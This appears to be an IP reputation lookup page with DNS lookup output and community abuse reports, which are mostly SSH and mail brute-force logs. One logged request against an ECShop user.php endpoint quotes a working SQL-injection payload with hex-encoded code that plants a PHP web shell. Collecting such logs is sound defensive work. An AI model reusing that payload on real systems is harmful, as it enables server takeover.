14.252.70.83 - IPInfo

Basic Info

City: unknown

Region: unknown

Country: Viet Nam

Internet Service Provider: Vietnam Posts and Telecommunications Group

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

Type	Details	Datetime
attackbotsspam	23/tcp [2020-04-01]1pkt	2020-04-01 21:23:30

Comments on same subnet:

No discussion about this subnet yet..

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 14.252.70.83
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 39787
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;14.252.70.83.			IN	A

;; AUTHORITY SECTION:
.			599	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2020040100 1800 900 604800 86400

;; Query time: 114 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Apr 01 21:23:09 CST 2020
;; MSG SIZE  rcvd: 116

Host info

83.70.252.14.in-addr.arpa domain name pointer static.vnpt.vn.

Nslookup info:

Server:		100.100.2.138
Address:	100.100.2.138#53

Non-authoritative answer:
83.70.252.14.in-addr.arpa	name = static.vnpt.vn.

Authoritative answers can be found from:

Related IP info:

Related comments:

IP	Type	Details	Datetime
45.119.80.98	attack	45.119.80.98 - - [15/Sep/2019:04:46:27 +0200] "POST /wp-login.php HTTP/1.1" 403 1595 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "-" 009046d19e1abd8596fa790b4ec5f2e4 Vietnam VN Quang Ngai B\xECnh Th\xE0nh 45.119.80.98 - - [15/Sep/2019:04:46:28 +0200] "POST /xmlrpc.php HTTP/1.1" 403 240 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "-" 5cdeedfe15aecde3cb640edb8d973ae9 Vietnam VN Quang Ngai B\xECnh Th\xE0nh	2019-09-15 21:17:51
80.82.65.60	attackbotsspam	Sep 15 14:20:34 relay dovecot: pop3-login: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method=PLAIN, rip=80.82.65.60, lip=176.9.177.164, session=\ Sep 15 14:20:45 relay dovecot: pop3-login: Aborted login $auth failed, 1 attempts in 6 secs$: user=\, method=PLAIN, rip=80.82.65.60, lip=176.9.177.164, session=\ Sep 15 14:21:01 relay dovecot: pop3-login: Aborted login $auth failed, 1 attempts in 10 secs$: user=\, method=PLAIN, rip=80.82.65.60, lip=176.9.177.164, session=\ Sep 15 14:23:03 relay dovecot: pop3-login: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method=PLAIN, rip=80.82.65.60, lip=176.9.177.164, session=\ Sep 15 14:25:26 relay dovecot: pop3-login: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method= ...	2019-09-15 20:39:18
37.114.189.220	attackbots	Chat Spam	2019-09-15 21:21:19
110.164.189.53	attackbots	[Aegis] @ 2019-09-15 11:31:16 0100 -> Attempted Administrator Privilege Gain: ET SCAN LibSSH Based Frequent SSH Connections Likely BruteForce Attack	2019-09-15 21:07:42
163.172.38.122	attackspam	Sep 14 08:25:18 penfold sshd[29567]: Invalid user admin from 163.172.38.122 port 54390 Sep 14 08:25:18 penfold sshd[29567]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=163.172.38.122 Sep 14 08:25:20 penfold sshd[29567]: Failed password for invalid user admin from 163.172.38.122 port 54390 ssh2 Sep 14 08:25:20 penfold sshd[29567]: Received disconnect from 163.172.38.122 port 54390:11: Bye Bye [preauth] Sep 14 08:25:20 penfold sshd[29567]: Disconnected from 163.172.38.122 port 54390 [preauth] Sep 14 08:38:15 penfold sshd[30019]: Invalid user aldis from 163.172.38.122 port 56204 Sep 14 08:38:15 penfold sshd[30019]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=163.172.38.122 Sep 14 08:38:17 penfold sshd[30019]: Failed password for invalid user aldis from 163.172.38.122 port 56204 ssh2 Sep 14 08:38:17 penfold sshd[30019]: Received disconnect from 163.172.38.122 port 56204:11: Bye Bye [pr........ -------------------------------	2019-09-15 21:02:12
35.178.253.87	attackspam	3389BruteforceFW22	2019-09-15 21:33:03
142.4.204.122	attack	$f2bV_matches_ltvn	2019-09-15 20:35:37
203.121.116.11	attack	Sep 15 08:44:51 plusreed sshd[5877]: Invalid user demo from 203.121.116.11 ...	2019-09-15 20:54:36
181.49.117.166	attackbots	$f2bV_matches	2019-09-15 20:59:34
49.88.112.55	attackspambots	2019-09-15T18:16:06.330241enmeeting.mahidol.ac.th sshd\[30270\]: User root from 49.88.112.55 not allowed because not listed in AllowUsers 2019-09-15T18:16:06.735830enmeeting.mahidol.ac.th sshd\[30270\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.88.112.55 user=root 2019-09-15T18:16:08.477778enmeeting.mahidol.ac.th sshd\[30270\]: Failed password for invalid user root from 49.88.112.55 port 12791 ssh2 ...	2019-09-15 20:40:23
51.75.146.122	attackbots	Sep 15 08:52:01 saschabauer sshd[28848]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.75.146.122 Sep 15 08:52:03 saschabauer sshd[28848]: Failed password for invalid user admin from 51.75.146.122 port 54290 ssh2	2019-09-15 20:47:19
195.208.116.246	attack	Sep 15 10:19:14 heissa sshd\[15291\]: Invalid user mmills from 195.208.116.246 port 43810 Sep 15 10:19:14 heissa sshd\[15291\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=195.208.116.246 Sep 15 10:19:16 heissa sshd\[15291\]: Failed password for invalid user mmills from 195.208.116.246 port 43810 ssh2 Sep 15 10:25:20 heissa sshd\[16075\]: Invalid user staff2 from 195.208.116.246 port 45810 Sep 15 10:25:20 heissa sshd\[16075\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=195.208.116.246	2019-09-15 20:56:42
112.85.42.185	attack	Sep 15 08:00:21 aat-srv002 sshd[9159]: Failed password for root from 112.85.42.185 port 27560 ssh2 Sep 15 08:00:24 aat-srv002 sshd[9159]: Failed password for root from 112.85.42.185 port 27560 ssh2 Sep 15 08:00:26 aat-srv002 sshd[9159]: Failed password for root from 112.85.42.185 port 27560 ssh2 Sep 15 08:02:39 aat-srv002 sshd[9232]: Failed password for root from 112.85.42.185 port 48945 ssh2 ...	2019-09-15 21:07:08
41.204.79.54	attack	Sep 15 04:40:59 *** sshd[2459964]: refused connect from 41.204.79.54 (4= 1.204.79.54) ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=41.204.79.54	2019-09-15 21:19:33
23.247.81.45	attack	23.247.81.45 - - [15/Sep/2019:00:07:45 -0400] "GET /user.php?act=login HTTP/1.1" 302 226 "554fcae493e564ee0dc75bdf2ebf94caads\|a:2:{s:3:"num";s:288:"/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A325A6B5A334575634768774A79776E50443977614841675A585A686243676B583142505531526262475678645630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/";}" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)" ...	2019-09-15 20:50:16

Recently Reported IPs

232.243.93.28	76.169.227.108	217.17.237.209	187.212.109.174
226.172.170.94	100.145.68.95	14.220.143.215	221.29.163.0
2.92.246.242	149.9.244.20	106.31.128.104	172.2.253.205
121.27.44.191	15.73.30.128	190.53.248.55	151.208.22.193
87.119.47.141	78.173.213.242	210.217.173.124	181.148.204.33